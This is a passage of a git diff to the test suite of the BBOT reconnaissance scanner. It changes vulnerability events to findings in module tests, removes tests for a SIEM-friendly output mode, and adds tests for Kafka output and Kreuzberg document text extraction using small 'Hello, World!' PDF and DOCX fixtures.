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" - ) - - expected_result_pdf = "Hello, World!" - expected_result_docx = "Hello, World!!" - - async def setup_after_prep(self, module_test): - module_test.set_expect_requests( - {"uri": "/"}, - {"response_data": ''}, - ) - module_test.set_expect_requests( - {"uri": "/Test_PDF"}, - {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}}, - ) - module_test.set_expect_requests( - {"uri": "/Test_DOCX"}, - { - "response_data": self.docx_data, - "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, - }, - ) - - def check(self, module_test, events): - filesystem_events = [e for e in events if e.type == "FILESYSTEM"] - assert 2 == len(filesystem_events), filesystem_events - for filesystem_event in filesystem_events: - file = Path(filesystem_event.data["path"]) - assert file.is_file(), "Destination file doesn't exist" - assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, ( - f"File at {file} does not contain the correct content" - ) - raw_text_events = [e for e in events if e.type == "RAW_TEXT"] - assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event" - for raw_text_event in raw_text_events: - assert raw_text_event.data in [ - self.expected_result_pdf, - self.expected_result_docx, - ], f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}" diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index 23e6c7c731..b1d50def16 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -52,30 +52,26 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) def check(self, module_test, events): - total_vulnerabilities = 0 total_findings = 0 for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": + if e.type == "FINDING": total_findings += 1 - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 30, "Incorrect number of findings detected" + assert total_findings == 60, "Incorrect number of findings detected" assert any( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (GET)]" and "[Triggering Parameter: Dest]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (GET)" assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] + e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (POST)" assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] + e.type == "FINDING" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (XXE)" @@ -84,14 +80,10 @@ class TestGeneric_SSRF_httponly(TestGeneric_SSRF): config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}} def check(self, module_test, events): - total_vulnerabilities = 0 total_findings = 0 for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": + if e.type == "FINDING": total_findings += 1 - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 0, "Incorrect number of findings detected" + assert total_findings == 30, "Incorrect number of findings detected" diff --git a/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py b/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py index 7d14598f6e..872a549f20 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py +++ b/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py @@ -167,7 +167,7 @@ def check(self, module_test, events): e for e in events if e.type == "TECHNOLOGY" - and e.data["technology"] == "GitLab" + and e.data["technology"] == "gitlab" and e.data["url"] == "http://127.0.0.1:8888/" ] ) diff --git a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py index f6a47671c7..dd0380f653 100644 --- a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py +++ b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py @@ -31,4 +31,4 @@ def check(self, module_test, events): finding = [e for e in events if e.type == "FINDING"] assert finding, "should have raised 1 FINDING event" assert finding[0].data["url"] == "http://127.0.0.1:8888/" - assert finding[0].data["description"] == "GraphQL schema" + assert finding[0].data["description"] == "GraphQL Schema at http://127.0.0.1:8888/" diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index 2bc99f5ddf..df90b78525 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -52,12 +52,3 @@ def check(self, module_test, events): assert self.headers_correct is True assert self.method_correct is True assert self.url_correct is True - - -class TestHTTPSIEMFriendly(TestHTTP): - modules_overrides = ["http"] - config_overrides = {"modules": {"http": dict(TestHTTP.config_overrides["modules"]["http"])}} - config_overrides["modules"]["http"]["siem_friendly"] = True - - def verify_data(self, j): - return j["data"] == {"DNS_NAME": "blacklanternsecurity.com"} and j["type"] == "DNS_NAME" diff --git a/bbot/test/test_step_2/module_tests/test_module_hunt.py b/bbot/test/test_step_2/module_tests/test_module_hunt.py index 867a2565c6..87b3463c1f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_hunt.py +++ b/bbot/test/test_step_2/module_tests/test_module_hunt.py @@ -14,12 +14,20 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any( - e.type == "FINDING" - and e.data["description"] - == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]" - for e in events - ) + finding_event = None + for e in events: + if ( + e.type == "FINDING" + and e.data["description"] + == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]" + ): + finding_event = e + break + + assert finding_event is not None + # Hunt emits INFORMATIONAL severity and LOW confidence + assert finding_event.data["severity"] == "INFORMATIONAL" + assert finding_event.data["confidence"] == "LOW" class TestHunt_Multiple(TestHunt): diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py index 6ca827f56a..3bd5c721b1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py @@ -90,17 +90,17 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - vulnerabilityEmitted = False + magicurl_findingEmitted = False url_hintEmitted = False zip_findingEmitted = False for e in events: - if e.type == "VULNERABILITY" and "iis-magic-url" not in e.tags: - vulnerabilityEmitted = True + if e.type == "FINDING" and "iis-magic-url" not in e.tags: + magicurl_findingEmitted = True if e.type == "URL_HINT" and e.data == "http://127.0.0.1:8888/BLSHAX~1": url_hintEmitted = True if e.type == "FINDING" and "Possible backup file (zip) in web root" in e.data["description"]: zip_findingEmitted = True - assert vulnerabilityEmitted + assert magicurl_findingEmitted assert url_hintEmitted assert zip_findingEmitted diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 27ed5a55e0..61ed7fc1f3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -23,13 +23,13 @@ def check(self, module_test, events): assert len(dns_json) == 1 dns_json = dns_json[0] scan = scan_json[0] - assert scan["data"]["name"] == module_test.scan.name - assert scan["data"]["id"] == module_test.scan.id + assert scan["data_json"]["name"] == module_test.scan.name + assert scan["data_json"]["id"] == module_test.scan.id assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data"]["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert not "seeds" in scan["data_json"]["target"], "seeds should not be in target json" + assert scan["data_json"]["target"]["target"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) @@ -45,26 +45,11 @@ def check(self, module_test, events): assert scan_reconstructed.data["id"] == module_test.scan.id assert scan_reconstructed.uuid == scan_event.uuid assert scan_reconstructed.parent_uuid == scan_event.uuid - assert scan_reconstructed.data["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan_reconstructed.data["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert not "seeds" in scan_reconstructed.data["target"], "seeds should not be in target json" + assert scan_reconstructed.data["target"]["target"] == ["blacklanternsecurity.com"] assert dns_reconstructed.data == dns_data assert dns_reconstructed.uuid == dns_event.uuid assert dns_reconstructed.parent_uuid == module_test.scan.root_event.uuid assert dns_reconstructed.discovery_context == context_data assert dns_reconstructed.discovery_path == [context_data] assert dns_reconstructed.parent_chain == [dns_json["uuid"]] - - -class TestJSONSIEMFriendly(ModuleTestBase): - modules_overrides = ["json"] - config_overrides = {"modules": {"json": {"siem_friendly": True}}} - - def check(self, module_test, events): - txt_file = module_test.scan.home / "output.json" - lines = list(module_test.scan.helpers.read_file(txt_file)) - passed = False - for line in lines: - e = json.loads(line) - if e["data"] == {"DNS_NAME": "blacklanternsecurity.com"}: - passed = True - assert passed diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py new file mode 100644 index 0000000000..43d2eb4053 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -0,0 +1,92 @@ +import json +import asyncio + +from .base import ModuleTestBase + + +class TestKafka(ModuleTestBase): + config_overrides = { + "modules": { + "kafka": { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Zookeeper + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-zookeeper", "-p", "2181:2181", "zookeeper:3.9" + ) + + # Wait for Zookeeper to be ready + await self.wait_for_port_open(2181) + + # Start Kafka using wurstmeister/kafka + await asyncio.create_subprocess_exec( + "docker", + "run", + "-d", + "--rm", + "--name", + "bbot-test-kafka", + "--link", + "bbot-test-zookeeper:zookeeper", + "-e", + "KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181", + "-e", + "KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092", + "-e", + "KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092", + "-e", + "KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1", + "-p", + "9092:9092", + "wurstmeister/kafka", + ) + + # Wait for Kafka to be ready + await self.wait_for_port_open(9092) + + await asyncio.sleep(1) + + async def check(self, module_test, events): + from aiokafka import AIOKafkaConsumer + + self.consumer = AIOKafkaConsumer( + "bbot_events", + bootstrap_servers="localhost:9092", + group_id="test_group", + ) + await self.consumer.start() + + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from Kafka + kafka_events = [] + async for msg in self.consumer: + event_data = json.loads(msg.value.decode("utf-8")) + kafka_events.append(event_data) + if len(kafka_events) >= len(events_json): + break + + kafka_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == kafka_events, "Events do not match" + + finally: + # Clean up: Stop the Kafka consumer + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + # Stop Kafka and Zookeeper containers + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py new file mode 100644 index 0000000000..217375dbd5 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py @@ -0,0 +1,89 @@ +import base64 +from pathlib import Path +from .base import ModuleTestBase + +from ...bbot_fixtures import * + + +class TestKreuzberg(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["kreuzberg", "filedownload", "httpx", "excavate", "speculate"] + config_overrides = { + "web": { + "spider_distance": 2, + "spider_depth": 2, + }, + "modules": { + "filedownload": { + "output_folder": bbot_test_dir / "filedownload", + }, + }, + } + + pdf_data = base64.b64decode( + "JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg==" + ) + + docx_data = base64.b64decode( + "UEsDBBQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbDw/eG1sIHZl" + "cnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPFR5cGVzIHht" + "bG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L2NvbnRl" + "bnQtdHlwZXMiPgogIDxEZWZhdWx0IEV4dGVuc2lvbj0icmVscyIgQ29udGVudFR5cGU9ImFwcGxp" + "Y2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1wYWNrYWdlLnJlbGF0aW9uc2hpcHMreG1sIi8+CiAg" + "PERlZmF1bHQgRXh0ZW5zaW9uPSJ4bWwiIENvbnRlbnRUeXBlPSJhcHBsaWNhdGlvbi94bWwiLz4K" + "ICA8T3ZlcnJpZGUgUGFydE5hbWU9Ii93b3JkL2RvY3VtZW50LnhtbCIgQ29udGVudFR5cGU9ImFw" + "cGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2lu" + "Z21sLmRvY3VtZW50Lm1haW4reG1sIi8+CjwvVHlwZXM+UEsDBBQAAAAAAFitWVwgG4bqLgEAAC4B" + "AAALAAAAX3JlbHMvLnJlbHM8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3Rh" + "bmRhbG9uZT0ieWVzIj8+CjxSZWxhdGlvbnNoaXBzIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVu" + "eG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L3JlbGF0aW9uc2hpcHMiPgogIDxSZWxhdGlvbnNo" + "aXAgSWQ9InJJZDEiIFR5cGU9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZp" + "Y2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMvb2ZmaWNlRG9jdW1lbnQiIFRhcmdldD0id29y" + "ZC9kb2N1bWVudC54bWwiLz4KPC9SZWxhdGlvbnNoaXBzPlBLAwQUAAAAAABYrVlcNNIntwABAAAA" + "AQAAEQAAAHdvcmQvZG9jdW1lbnQueG1sPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRG" + "LTgiIHN0YW5kYWxvbmU9InllcyI/Pgo8dzpkb2N1bWVudCB4bWxuczp3PSJodHRwOi8vc2NoZW1h" + "cy5vcGVueG1sZm9ybWF0cy5vcmcvd29yZHByb2Nlc3NpbmdtbC8yMDA2L21haW4iPgogIDx3OmJv" + "ZHk+CiAgICA8dzpwPgogICAgICA8dzpyPgogICAgICAgIDx3OnQ+SGVsbG8sIFdvcmxkISE8L3c6" + "dD4KICAgICAgPC93OnI+CiAgICA8L3c6cD4KICA8L3c6Ym9keT4KPC93OmRvY3VtZW50PlBLAQIU" + "AxQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAAAAAAAAAAACAAQAAAABbQ29udGVudF9UeXBlc10u" + "eG1sUEsBAhQDFAAAAAAAWK1ZXCAbhuouAQAALgEAAAsAAAAAAAAAAAAAAIAB6QEAAF9yZWxzLy5y" + "ZWxzUEsBAhQDFAAAAAAAWK1ZXDTSJ7cAAQAAAAEAABEAAAAAAAAAAAAAAIABQAMAAHdvcmQvZG9j" + "dW1lbnQueG1sUEsFBgAAAAADAAMAuQAAAG8EAAAAAA==" + ) + + expected_result_pdf = "Hello, World!" + expected_result_docx = "Hello, World!!" + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + {"uri": "/"}, + {"response_data": ''}, + ) + module_test.set_expect_requests( + {"uri": "/Test_PDF"}, + {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}}, + ) + module_test.set_expect_requests( + {"uri": "/Test_DOCX"}, + { + "response_data": self.docx_data, + "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, + }, + ) + + def check(self, module_test, events): + filesystem_events = [e for e in events if e.type == "FILESYSTEM"] + assert 2 == len(filesystem_events), filesystem_events + for filesystem_event in filesystem_events: + file = Path(filesystem_event.data["path"]) + assert file.is_file(), "Destination file doesn't exist" + assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, ( + f"File at {file} does not contain the correct content" + ) + raw_text_events = [e for e in events if e.type == "RAW_TEXT"] + assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event" + for raw_text_event in raw_text_events: + assert raw_text_event.data in [ + self.expected_result_pdf, + self.expected_result_docx, + ], 